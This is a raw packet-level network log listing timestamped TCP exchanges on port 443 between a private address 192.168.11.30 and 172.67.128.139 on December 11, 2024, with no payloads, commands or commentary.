Dec 11, 2024 12:14:56.539402008 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.539414883 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.539568901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.539751053 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.539751053 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.539757013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.539942980 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.539942980 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.541224003 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.541238070 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.541380882 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.541380882 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.541563034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.541563034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.541563034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.541568041 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.541801929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.543368101 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.543380976 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.543530941 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.543530941 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.543530941 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.543539047 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.543710947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.543930054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.543930054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.544097900 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.544320107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.544990063 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.545087099 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.545186043 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.545356989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.545356989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.545365095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.545536995 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.552895069 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.779911995 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.779917955 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.779980898 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.780256987 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.780256987 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.780256987 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.780256987 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.780272961 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.780627012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.781802893 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.781821012 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.782149076 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.782149076 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.782161951 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.782340050 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.783715963 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.783734083 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.784157991 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.784157991 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.784157991 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.784178019 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.784308910 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.784487963 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.785660028 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.785676956 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.785819054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.785819054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.786000967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.786009073 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.786241055 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.786241055 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.786241055 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.787818909 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.787837029 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.788171053 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.788188934 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.788358927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.788779020 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.790066004 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.790083885 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.790136099 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.790405989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.790406942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.790406942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.790406942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.790406942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.790422916 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.790596962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.792861938 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.792881966 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.792992115 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.793008089 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.793040037 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.793229103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.793229103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.793772936 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.022655964 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.022672892 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.022998095 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.022998095 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.023004055 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.023188114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.024472952 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.024482012 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.024668932 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.024672031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.024849892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.025043011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.026688099 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.026696920 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.027066946 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.027066946 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.027070045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.027254105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.028387070 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.028397083 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.028563023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.028563023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.028743029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.028743029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.028745890 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.028882980 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.030385017 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.030395031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.030570030 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.030570030 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.030570030 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.030570030 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.030575037 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.030730009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.030920982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.032835007 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.032844067 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.033025980 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.033025980 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.033026934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.033030987 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.033205032 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.033205032 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.034158945 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.034832001 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.034841061 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.035211086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.035211086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.035211086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.035214901 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.035357952 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.035528898 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.035664082 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.035711050 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.037652016 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.037666082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.037812948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.037988901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.037988901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.037991047 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.038207054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.038441896 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.038599968 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.038645029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.043539047 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.270509958 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.270520926 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.270850897 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.270850897 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.270850897 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.270850897 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.270859003 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.271043062 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.272634029 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.272649050 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.272789955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.272970915 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.272970915 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.272974014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.273164988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.273164988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.274437904 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.274454117 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.274594069 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.274775028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.274775028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.274775028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.274775028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.274780035 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.274966955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.276431084 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.276439905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.276590109 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.276590109 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.276768923 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.276768923 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.276772022 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.276937962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.276937962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.278521061 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.278529882 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.278860092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.278860092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.278862953 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.279025078 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.279189110 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.280731916 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.280741930 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.281085014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.281085014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.281089067 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.281249046 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.281249046 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.281413078 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.282560110 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.282573938 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.282757998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.282757998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.282762051 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.282805920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.282805920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.282968998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.284490108 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.284498930 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.284545898 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.284646988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.284646988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.284825087 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.284826994 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.285017014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.285017014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.285017014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.286627054 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.286640882 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.286811113 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.286811113 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.286814928 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.286988020 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.286988020 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.286988020 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.288335085 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.288347960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.288676023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.288676023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.288676023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.288680077 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.288933992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.289196014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.289326906 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.296813011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.511234045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.511239052 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.511492014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.511679888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.511679888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.511688948 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.511970043 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.511970043 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.511970043 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.512310028 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.512655973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.512659073 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.517204046 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.517215967 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.517855883 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.517855883 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.517855883 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.517863035 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.518038034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.519180059 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.519192934 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.519365072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.519371033 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.519556999 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.521142006 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.521153927 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.521301985 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.521301985 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.521311045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.521496058 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.523123026 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.523134947 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.523500919 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.523500919 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.523500919 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.523507118 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.524879932 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.524894953 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.525002003 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.525010109 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.525051117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.525244951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.525244951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.525410891 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.525410891 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.527021885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.527324915 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.527338028 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.527642012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.527642012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.527642012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.527642012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.527642012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.527653933 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.529233932 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.529248953 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.529731989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.529731989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.529731989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.529731989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.529731989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.529740095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.531157970 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.531168938 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.531511068 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.531511068 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.531511068 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.531519890 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.533077002 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.533092022 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.533437014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.533437014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.533446074 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.535028934 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.535041094 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.535183907 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.535192966 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.535442114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.535442114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.535906076 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.536220074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.550457001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.752870083 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.752883911 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.753021955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.753021955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.753180027 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.753180027 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.753189087 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.753608942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.754208088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.754276037 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.754533052 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.754539013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.756730080 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.756742001 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.756895065 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.756895065 CET	49832	443	192.168.11.30	172.67.128.139
